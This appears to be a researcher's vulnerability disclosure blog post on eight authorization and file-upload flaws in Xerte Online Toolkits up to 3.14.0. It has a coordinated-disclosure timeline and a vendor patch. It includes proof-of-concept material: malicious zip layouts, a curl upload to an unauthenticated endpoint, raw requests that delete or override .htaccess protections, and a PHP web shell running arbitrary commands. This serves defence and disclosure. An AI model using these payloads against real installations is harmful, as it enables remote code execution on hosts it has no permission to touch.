Critical Vulnerabilities identified in Xerte Online Toolkits <= 3.14.0 and <= 3.13.7
Introduction#
Xerte Online Toolkits is an Open-Source web application that supports content creation for online learning platforms and is written in PHP. I became aware of this software after some coworkers encountered this application during a red team engagement. In that particular instance, our client had inadvertently left the setup directory and scripts accessible on the internet. Since the application is open-source, I set up a test environment locally with Apache and MySQL. My primary focus was determining what threat the setup directories being exposed presented. The installation instructions explicitly advise against leaving this exposed publicly as it could be overwritten by subsequent operations. Ultimately, my research did not identify any non-destructive ways to exploit the setup scripts. Instead, I began to investigate other functions of the application in various user contexts. My investigation revealed some critical issues that could allow an attacker to gain remote code execution on the underlying host.
I’d like to give kudos to the Xerte team, especially Tom for being responsive and participating in the disclosure process and quickly deploying a patch and notifying their users.
Caveats#
Before getting into the details, there are a few caveats I want to make clear.
- Although I am employed as an offensive security consultant, I was not asked to evaluate this application specifically, and I did not assess the entire application.
- The content of this blog post do not represent any particular thought or opinion of my employer.
- As soon as was practical, the vendor was notified, and a coordinated disclosure process was followed.
- Some configuration differences across Apache server configurations may not allow .phar files to execute. 1
Test Environment#
My testing was performed against version 3.14 from GitHub, and the vulnerabilities discussed here are fixed in version 3.14.2 GitHub. I also tested using database authentication. The application supports several methods, including LDAP, SAML, OAuth2.0, and others. I suspect these configurations would be similar.
I used two separate test environments. Initially, I tested inside a Kali VM. This proved to have some key differences. I decided to replicate the environment in docker containers based on php:8.2-apache, noting the difference noted in 1. The Kali Apache configuration was more permissive in terms of which extensions are treated as executable PHP code.
Phase 1: Exploration#
My approach to testing this application was pretty standard from an AppSec perspective. In general, I make heavy use of the Autorize extension for BurpSuite, and this was no different. I was initially searching for instances of privilege escalation from a standard user to the admin user. After some initial quick looks, I started reviewing the source code. One of the reasons I was interested in this application was because of the language. PHP apps have a long history of security issues such as insecure deserialization and file inclusion vulnerabilities.
The codebase has 436 separate PHP files, so I did not assess each one. I started with focusing on any files that accepted user input or processed HTTP POST data without neutralizing it first. This narrowed the attack surface to 150 files, which was much more manageable.
I was especially interested in any PHP functions that operated on user-uploaded files.
Prior Work#
I’d like to point out that others have examined this application before, and identified some issues previously.
Additionally, there were references to Synk in the git history that discussed path traversal.
Phase 2: Code Review and Dynamic Testing#
Given the two CVE’s identified in 2021, I decided to re-visit the file upload function from the elfinder connector. Although I was able to upload .phar files, execution was blocked by a .htaccess policy. I determined this was due to an incomplete file extension blacklist (note: this setting is configured in the admin portal). I decided to move on to some other functions.
Eventually, I narrowed the list of potentially vulnerable files to about 15. I returned to assessing these using the Autorize procedure to check access to these files as admin, user, and unauthenticated. I had initially assumed the more sensitive functions were restricted to admins only. After some initial fuzzing, I noticed an error being returned when I sent an empty zip archive to the import_language endpoint.


In the error response, there was conflicting messages. One indicated the user wasn’t authorized to use the import function, but the other indicated there were errors processing the zip file. Some back and forth between the code and manual testing with requests revealed why. At the entrypoint, the following check occurs.
if(!is_user_permitted("system")){
management_fail();
}
So, what exactly is the management_fail function?
function management_fail(){
echo MANAGEMENT_LIBRARY_FAIL;
}
So, to recap, if the user is not permitted, a function is called that just echo’s a message. This is highly problematic, because the execution continues even when the user is not permitted. Critically, this includes unauthenticated users as well as regular authenticated users.
Now, the goal is to determine how to exploit this.
Side Quest: SAST scanning#
I have used SAST tools like Semgrep before with mixed success. I only have access to the free version/rules, so it is limited in it’s ability to follow sources and sinks.
In this case, it was unable to identify the vulnerabilities here.
Summary of vulnerabilities disclosed#
| ID | Severity | Title | Description |
|---|---|---|---|
| 1 | Critical | Incorrect Authorization, Unrestricted Upload of File with Dangerous Type | An authentication bypass allows unauthenticated user to import a crafted zip archive containing PHP files, leading to remote code execution and overwriting existing files. |
| 2 | Critical | Unrestricted Upload of File with Dangerous Type | An unauthenticated user is able to import a crafted zip archive due to insufficient authorization checks. Weaknesses in the file upload function allow PHP files and .htaccess files to be imported and stored in a predictable location. |
| 3 | High | Incorrect Permission Assignment for Critical Resource | An authenticated user can use an application function to delete the .htaccess file in the user files directory, enabling files uploaded to become executable |
| 4 | High | Unrestricted Upload of File with Dangerous Type | An incomplete file extension blacklist permits users to upload .php files that are executable. |
| 5 | High | Unrestricted Upload of File with Dangerous Type | An application function does not implement any file upload restrictions, allowing PHP scripts and other files, including .htaccess files to the user’s project files. |
| 6 | High | Unrestricted Upload of File with Dangerous Type | A user with admin permissions can use a crafted zip archive to upload a theme containing executable PHP code. This leads to remote code execution. |
| 7 | High | Unrestricted Upload of File with Dangerous Type | An application function uses an incomplete file upload filter, which allows an authenticated user to upload a .phar file. |
| 8 | Medium | Initialization of a Resource with an Insecure Default | Incomplete .htaccess restrictions allow uploaded files to execute. |
Vulnerability 1#
Path: /website_code/php/language/import_language.php
Authentication Required: No
The language import function contains an authentication bypass and the ability to upload a PHP script. A review of the code shows a partially implemented RBAC check, but rather than calling PHP’s die() function, an error message is included in the response and the code is allowed to proceed anyway (line 36-38, import_language.php). This allows anyone, even an unauthenticated user to access this endpoint.
The uploaded file is stored temporarily in a directory under /import. This directory has a 9 digit random number, with the actual filename being utc_time + tmp_name (line 78). Any file type uploaded to the import function gets stored here, even a .phar or .php file extension. If an attacker could brute force the directory name and guess the time, this could be exploited. Executing the .php file is blocked by a .htaccess policy in the import directory.
After analyzing the code and some limited debugging, a malicious language file was created with the following structure.
rce-languages/
└── cmd.php
Eventually, the script reaches line 212, where the element from the zip archive is written to /rce-languages/cmd.php.
I chose a phar file because this file type was allowed to be uploaded in other areas of the application. In some configurations1 of Apache, .phar files function identically as .php files. On my test system, this was the case. This may not apply to all installations.
This directory was converted to a zip file.
zip mal_lang.zip rce-languages -r
Next, this file was sent as a POST request
curl -x http://localhost:8080 -v -F filenameuploaded=@mal_lang.zip http://10.100.2.16/xerteonlinetoolkits/website_code/php/language/import_language.php
This can then be accessed by any user to achieve RCE on the host.
Vulnerability 2#
Path: /website_code/php/import/import.php
Authentication Required: No
The POST data handler begins at line 372 of import/import.php. The script expects a file upload as a variable “filenameuploaded”. Based on error messages, it was evident that the zip archive needed to contain a data.xml, template.xml, and a media directory.
Analysis of the script revealed a weakness in the user authorization checks.
The files contained in the archive are processed, starting on line 409. The filename of the archive is checked for path traversal on line 426-427. The media directory of the archive is processed and any files within it are written to disk on line 491. No checks for user authorization were implemented. Media files are actually excluded from any file filter checks. Lines 606-607 appear to be intended to add the processed files to the list to check, but media files aren’t appended to the array.
Ultimately, the uploaded files reach the “make_new_template” function, where they are copied from the import directory to their final location. On line 138, the output directory is set. The intention appeared to be for uploaded files to match the normal format of <id>-<username>-<templateName>, however, when an unauthenticated attacker calls the function, the variable $_SESSION['toolkits_logon_username'] will be empty.
This leads to a file directory being created in the USER-FILES directory, containing the PHP script, and a .htaccess policy that overrides the .htaccess policy of the parent directory.
The structure of the zip archive needs to contain the following:
template_import/
|-- data.xml
|-- my-theme.info
|-- template.xml
|-- media
|-- cmd.php
|-- .htaccess
Vulnerability 3#
Path: /website_code/php/properties/delete_file_template.php
Authentication Required: Yes
An authenticated user can craft a request to this endpoint and delete the .htaccess policy from the USER-FILES directory, enabling user-uploaded PHP files to execute.
POST /xerteonlinetoolkits/website_code/php/properties/delete_file_template.php HTTP/1.1
...<snip>
Cookie: PHPSESSID=7a75f27b7d96c8bd7e901614f73def00
file=/var/www/html/xerteonlinetoolkits/USER-FILES/.htaccess
This can be paired with vulnerability 4 or 7, to allow RCE on the application host.
Vulnerability 4#
Path: /website_code/php/import/fileupload.php
Authentication Required: Yes
This vulnerability requires chaining vulnerability 3 to be able to complete, but the fileupload.php endpoint allows writing a .phar file. The execution of the .phar file is blocked by the USER-FILES/.htaccess policy. This is why vulnerability 3 is required. Once that condition is satisfied, the file can be executed. Uploading .php files is not permitted due to the user-configured block list. However, in some circumstances, .phar files can be interpreted as PHP code. This is relies on the same endpoint, but does not rely on the (now fixed) path traversal. The core issue is an incomplete file extension blacklist.
Vulnerability 5#
Path: /editor/uploadImage.php The uploadImage endpoint allows a user to write a file of any extension type to a project directory. Because arbitrary file extensions were permitted, an authenticated user can upload a .htaccess policy to override the default applied to all directories of USER-FILES. Weak file-type and no file extension checks are implemented in this endpoint. Because the user specifies the content type of the HTTP POST data, it cannot be relied on for content filtering.
Example request:
POST /xerteonlinetoolkits/editor/uploadImage.php HTTP/1.1
Host: 10.100.2.16
...Snip...
Cookie: PHPSESSID=2e9c3100fe9367a8de5ac82d726e2552
------WebKitFormBoundary1xfvK0zeGS6QV78Z
Content-Disposition: form-data; name="uploadPath"
/var/www/html/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/
------WebKitFormBoundary1xfvK0zeGS6QV78Z
Content-Disposition: form-data; name="uploadURL"
http://10.100.2.16/xerteonlinetoolkits/USER-FILES/3-reguser-Nottingham/
------WebKitFormBoundary1xfvK0zeGS6QV78Z
Content-Disposition: form-data; name="upload"; filename="cmd.php"; tmp_name="tmp_name";
Content-Type: image/jpg
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundary1xfvK0zeGS6QV78Z--
Similarly, the .htaccess file can be uploaded.
------WebKitFormBoundary1xfvK0zeGS6QV78Z
Content-Disposition: form-data; name="upload"; filename=".htaccess"; tmp_name=".htaccess";
Content-Type: image/jpg
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
------WebKitFormBoundary1xfvK0zeGS6QV78Z--
Vulnerability 6#
Path: /website_code/php/management/upload_theme.php
Authentication Required: Yes, admins only
The theme upload function is only accessible to users with the templateadmin role. Through analysis and experimentation, it was determined the zip file must contain a .info file for anything to be written to the theme directory (line 97, upload_theme.php).
The contents of the mal-theme.zip file are as follows:
unzip -l mal-theme.zip
Archive: mal-theme.zip
Length Date Time Name
--------- ---------- ----- ----
0 2025-07-19 09:50 mal-theme/
128 2025-07-19 09:49 mal-theme/cmd.php
234 2025-07-19 09:50 mal-theme/mal-theme.info
--------- -------
362 3 files
The relevant details from the HTTP POST request are the theme type is specified as a multipart form object.
------WebKitFormBoundaryktb7BkCttBhc63gt
Content-Disposition: form-data; name="themeType"
site
The resulting shell file is located at /themes/site/mal-theme/cmd.php, and any user (including unauthenticated) can access this location.
Vulnerability 7#
Path: /editor/elfinder/php/connector.php
Authentication Required: Yes
The default file upload filter is missing .phar files. This is configured in the admin interface. Without this setting applied, users can upload .phar files through the elfinder application. This requires a configuration change for the resulting .phar file to be executed, such as by chaining with vulnerability 3. Note that this is an extension of what was previously identified by Rik2, and also requires conditions noted in 1.
Vulnerability 8#
There are differing .htaccess policies across various directories.
For example:
modules/xerte/templates/Rss/.htaccess: RewriteRule .*\.(php|php[0-9]|phtml|pl|sh|java|py)$ - [F]
USER-FILES/.htaccess: RewriteRule .*\.(php|php[0-9]|phar|phtml|pl|sh|java|py|xml.*|json.*)$ - [F,NC]
error_logs/.htaccess: RewriteRule .*\.(php|php[0-9]|phtml|pl|sh|java|py|log)$ - [F]
languages/.htaccess: RewriteRule .*\.(php|php[0-9]|phtml|pl|sh|java|py)$ - [F]
import/.htaccess: RewriteRule .*\.(php|php[0-9]|phtml|pl|sh|java|py)$ - [F]
Several of these policies contain different file extension restrictions, and only the USER-FILES policy restricts accessing .phar files.
Conclusions#
Vulnerabilities can lurk undetected for extended periods of time, even when previous researchers have “kicked the tires” so to speak. Source code can greatly assist in identifying vulnerabilities in web applications by narrowing the focus to key areas. Lastly, test environment configurations can differ from real-world installations, so it is important to test all assumptions.
Disclosure timeline#
- 2025-07-18 - Vulnerabilities identified
- 2025-07-20 - Initial Proofs-of-concept developed
- 2025-07-21 - First attempt at vendor contact, directed to Xerte Forum, DM’s sent
- 2025-07-30 - Posted in the Xerte forum
- 2025-08-01 - Xerte Team acknowledged receipt of disclosure, began developing a patch
- 2025-08-03 - Xerte Team released a patch Release 3.14.2
- 2025-08-05 - CVE’s requested
References#
Xerte 3.13 and 3.14 - Important Security Update
https://gist.github.com/haicenhacks/5d9ecad9f2e7f6e57171182b8207af5b
https://gist.github.com/haicenhacks/88736e194f3853cb251d0625111780e3
https://gist.github.com/haicenhacks/15baf24acb10f0058d3305d7f9e8fea8
https://gist.github.com/haicenhacks/8e6f495b0d2dce240471cf98b2fd5378
-
I have observed instances of Apache where the default configuration uses the following regex
".+\.ph(ar|p|tml)$"to determine what extensions to treat as executable PHP code. Other installations use\.php$. ↩︎ ↩︎ ↩︎ ↩︎ -
https://riklutz.nl/2021/11/03/authenticated-file-upload-to-remote-code-execution-in-xerte/ ↩︎ ↩︎